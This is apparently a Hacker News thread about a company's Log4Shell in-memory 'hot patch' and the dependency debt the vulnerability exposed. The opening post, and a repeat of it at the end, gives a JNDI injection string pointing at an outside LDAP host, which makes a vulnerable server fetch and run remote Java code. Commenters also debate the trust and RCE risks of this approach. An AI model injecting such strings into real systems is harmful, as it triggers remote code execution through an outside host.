We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell)
I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep!
I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's close enough as-is to be informative to people, I think. Cheers, y'all!
I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary.
It sounds better to say "we are patched for the vulnerability" instead of "the vulnerability does not affect us." The ladder leaves a level of uncertainty. Not saying I agree with this methodology.
I used to have to deal with this at my previous job (including log4j).
We were rarely vulnerable to CVEs mentioned by end users or pinged by our own internal tooling, but that wasn't the point.
The customers (a large percentage of Fortune 500) would just get pinged by their security teams. The customer would come to us, we'd say "yes, a patch is on its way" or "we've researched it, we're not vulnerable, it's fine".
(Our particular bit of product only had Java command line tools, but you never know what customers would do with them and whether they'd end up somewhere in a chain where those command line tools could be, deep down, kicked off from some user input on a public facing webpage).
Also the problem is that "we've researched it, we're not vulnerable, it's fine" often isn't good enough for the customer's internal security team, and our customers would just get hassled by them each time a scan was run.
We'd also spend a disproportionate amount of support time responding to "what about CVE-2021-xxxxx?" and arguing the case, even if it is just copy-and-paste the same old response again and again, it's still toil.
So, quite often, the easiest solution was to say "we've researched it, we're not vulnerable, but we're patching it anyway".
The problem with this approach is that you slowly build up a considerable number of third party packages that need to be version bumped each time you do a new maintenance release, and that puts quite a load on QA departments, etc.
Anyway, don't do that kind of thing any more and I certainly don't miss it.
Reminds me of the advice to use two STOP statements in a Fortran program if you run it on a Cray. It's so fast that it could blow straight through the first one.
Whilst that is ridiculous if they're bringing in a new dependency, if I squint I can see the thought process. Transitive dependencies are far harder to be certain about. It took a few seconds to scan our company's entire code base for log4j2.
But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies.
Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use.
Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.
I just added a test case that importing org.apache.logging.log4j.core.lookup.JndiLookup throws a ClassNotFoundException. Any log4j2 class would work too.
I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo.
I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1].
In this case however the advantages might actually outweigh the risks as long as it is done carefully.
[1]: others mention services or servers that no one know how to restart anymore.
Because last time it happened you had 1.) to call in an old consultant/employee 2.) that you know is now unavailable.
The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.)
I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
This happens a lot in the real (non-computer) world, too.
There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries.
I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.
Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.
Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io instead)
It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though!
Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically.
The bigger problem is: You not only have to trust their good intentions now, but you also need to be able to trust them in the future, as long as the script is active. Additionally, you have to trust/hope that the patch security is absolutely waterproof and does not give RCE to attackers.
It is likely trivial to remove the jndi related classes from the package. That's what I did for similar network related third party software and so far without any trouble at all.
Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.
That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least.
I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options.
Indeed, I remember going though great lengths to keep the Solaris hosts up that I used to administer. The graybeards I worked with treated rebooting as last resort, like admitting defeat. It was a dirty word, only reserved for lesser operating systems like Windows 95, that needed rebooting often. There was an art to systems administration that seems to be lost now. Or maybe I am just looking back though rose colored glasses. :)
To be fair, it also used to take sometimes an hour+ to reinit a system.
All those SCSI busses had to be enumerated, all the RAM checked for error, ah, the old days...
We moved a lot of things from "that one server that's setup just-so by hand" to automated and repeatable setups. If we had more/ cheaper servers before, we'd likely get there earlier.
I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful.
Usually there is no universal way to find the latest version of internal documentation across teams, hence updating such documentation is barely worth the time. People notice the fact.
Not the OP, but I am a fan of leaving breadcrumbs everywhere. That is, every bit of documentation should point to other bits of documentation. Code comments point to the corporate wiki and vice versa, commit messages point to issues, issues refer to commit hashes, log messages might say who wrote a service, bespoke server and container images could have a README in /, internal DNS can have text records, etc.
We have to accept that we will sometimes play digital archaeologist. That's a good thing! It means that the technology we're studying was successful. So given that, it's better to have out of date documentation than zero documentation, so that we can pick up the trail somewhere.
In an org that named their servers after planets, we turned off "Mars" (which was actually completely and utterly undocumented) and discovered it was the bridge between the intranet and the internet. However, upon turning it back on... Nothing came up again.
There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - dozens of interconnected services). We ended up taking the phone off the hook because we kept getting calls of "is it fixed yet?"
The story with Mars is quite a bit more complicated than I've written, but we did scan it, and then try and isolate it, for a few weeks before we tried the restart. Let's just say there was a lot of redundancy that only broke once it couldn't ping at a very specific time.
This person gets it. As always if it’s a shit show, charge by the hour and get double time! If it’s easy charge by the job and spend two months getting paid to play solitaire!
I'm sure they mean well, but I'd highly recommend to every user to be very careful about using services like this.
Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors.
Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally.
While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code
Yeah, this should come with a note that this is intended for people with slow redeployment pipelines, to protect them until they can actually deploy a permanent fix.
It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell).
Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.
There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell